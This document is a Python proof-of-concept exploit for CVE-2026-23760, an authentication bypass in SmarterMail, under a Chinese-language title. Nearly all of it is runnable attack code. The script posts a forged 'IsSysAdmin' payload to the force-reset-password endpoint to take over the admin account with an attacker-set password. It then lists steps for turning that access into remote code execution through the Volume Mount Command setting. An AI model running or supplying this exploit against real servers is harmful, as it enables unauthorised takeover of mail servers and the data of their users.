CVE-2026-23760｜SmarterMail存在身份认证绕过漏洞可实现RCE（POC）

#!/usr/bin/env python3
import requests
import json
import sys
import urllib3
import argparse
from typing import Dict, Optional

# Disable SSL warnings for testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class SmarterMailExploit:
    def __init__(self, target: str, username: str = "admin", new_password: str = "Hacked123!@#"):
        self.target = target.rstrip('/')
        self.username = username
        self.new_password = new_password
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/json',
            'Accept': 'application/json'
        })

    def check_vulnerability(self) -> bool:
        test_payload = {
            "IsSysAdmin": "true",
            "OldPassword": "anything",
            "Username": self.username,
            "NewPassword": "Test123!@#",
            "ConfirmPassword": "Test123!@#"
        }

        try:
            url = f"{self.target}/api/v1/auth/force-reset-password"
            response = self.session.post(url, json=test_payload, timeout=10)
            if response.status_code == 200:
                resp_json = response.json()
                if resp_json.get('success') == True:
                    print("[+] Target appears VULNERABLE")
                    return True
                else:
                    if "Invalid input parameters" in resp_json.get('message', ''):
                        print("[-] Target appears PATCHED (post-9511)")
                    else:
                        print(f"[-] Failed: {resp_json.get('message', 'Unknown error')}")
            else:
                print(f"[-] HTTP {response.status_code}: Target may be patched or unreachable")

        except requests.exceptions.RequestException as e:
            print(f"[-] Connection error: {e}")
        except json.JSONDecodeError:
            print(f"[-] Invalid JSON response")

        return False

    def exploit(self) -> bool:
        print(f"[*] Targeting: {self.target}")
        print(f"[*] Admin user: {self.username}")
        print(f"[*] New password: {self.new_password}")

        exploit_payload = {
            "IsSysAdmin": "true",  
            "OldPassword": "anything_can_go_here",
            "Username": self.username,
            "NewPassword": self.new_password,
            "ConfirmPassword": self.new_password
        }

        print(f"\n[*] Sending exploit payload...")
        print(f"    Endpoint: POST /api/v1/auth/force-reset-password")
        print(f"    Payload: {json.dumps(exploit_payload, indent=4)}")

        try:
            url = f"{self.target}/api/v1/auth/force-reset-password"
            response = self.session.post(url, json=exploit_payload, timeout=15)

            print(f"\n[*] Response Status: {response.status_code}")

            if response.status_code == 200:
                resp_json = response.json()
                print(f"[*] Response Body: {json.dumps(resp_json, indent=2)}")

                if resp_json.get('success') == True:
                    print(f"\n[+] EXPLOIT SUCCESSFUL!")
                    print(f"[+] Admin password has been changed")
                    print(f"[+] Username: {self.username}")
                    print(f"[+] New Password: {self.new_password}")
                    print(f"\n[+] Next steps:")
                    print(f"    1. Login to {self.target}/login.aspx")
                    print(f"    2. Navigate to Settings -> Volume Mounts")
                    print(f"    3. Use 'Volume Mount Command' for RCE")
                    return True
                else:
                    print(f"[-] Exploit failed: {resp_json.get('message', 'Unknown')}")
                    if 'debugInfo' in resp_json:
                        debug_lines = resp_json['debugInfo'].split('\\r\\n')
                        print(f"[-] Debug trail: {' -> '.join([d for d in debug_lines if d])}")
            else:
                print(f"[-] Server returned HTTP {response.status_code}")
                if response.text:
                    print(f"[-] Response: {response.text[:500]}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Request failed: {e}")
        except json.JSONDecodeError as e:
            print(f"[-] Failed to parse response: {e}")
            if response.text:
                print(f"[-] Raw response: {response.text[:500]}")

        return False

    def verify_login(self) -> bool:
        print(f"\n[*] Attempting to verify credentials...")


        print(f"[*] Manual verification required:")
        print(f"    1. Visit {self.target}/login.aspx")
        print(f"    2. Username: {self.username}")
        print(f"    3. Password: {self.new_password}")

        return True

def main():
    parser = argparse.ArgumentParser(description='SmarterMail WT-2026-0001 Authentication Bypass Exploit')
    parser.add_argument('target', help='Target URL (e.g., https://mail.example.com:9998)')
    parser.add_argument('-u', '--username', default='admin', help='Admin username (default: admin)')
    parser.add_argument('-p', '--password', default='Hacked123!@#', help='New password to set')
    parser.add_argument('-c', '--check-only', action='store_true', help='Only check if vulnerable')

    args = parser.parse_args()

    print("""
    ███████╗███╗   ███╗ █████╗ ██╗███╗   ██╗███████╗██████╗ 
    ██╔════╝████╗ ████║██╔══██╗██║████╗  ██║██╔════╝██╔══██╗
    ███████╗██╔████╔██║███████║██║██╔██╗ ██║█████╗  ██████╔╝
    ╚════██║██║╚██╔╝██║██╔══██║██║██║╚██╗██║██╔══╝  ██╔══██╗
    ███████║██║ ╚═╝ ██║██║  ██║██║██║ ╚████║███████╗██║  ██║
    ╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝

    SmarterMail WT-2026-0001 Auth Bypass Exploit - S 1 D E R

    """)

    exploit = SmarterMailExploit(args.target, args.username, args.password)

    if args.check_only:
        print(f"[*] Checking vulnerability status...")
        exploit.check_vulnerability()
    else:
        if exploit.check_vulnerability():
            print(f"\n[*] Proceeding with exploitation...")
            if exploit.exploit():
                exploit.verify_login()
        else:
            print(f"\n[-] Target does not appear vulnerable. Exploitation aborted.")

if __name__ == "__main__":
    main()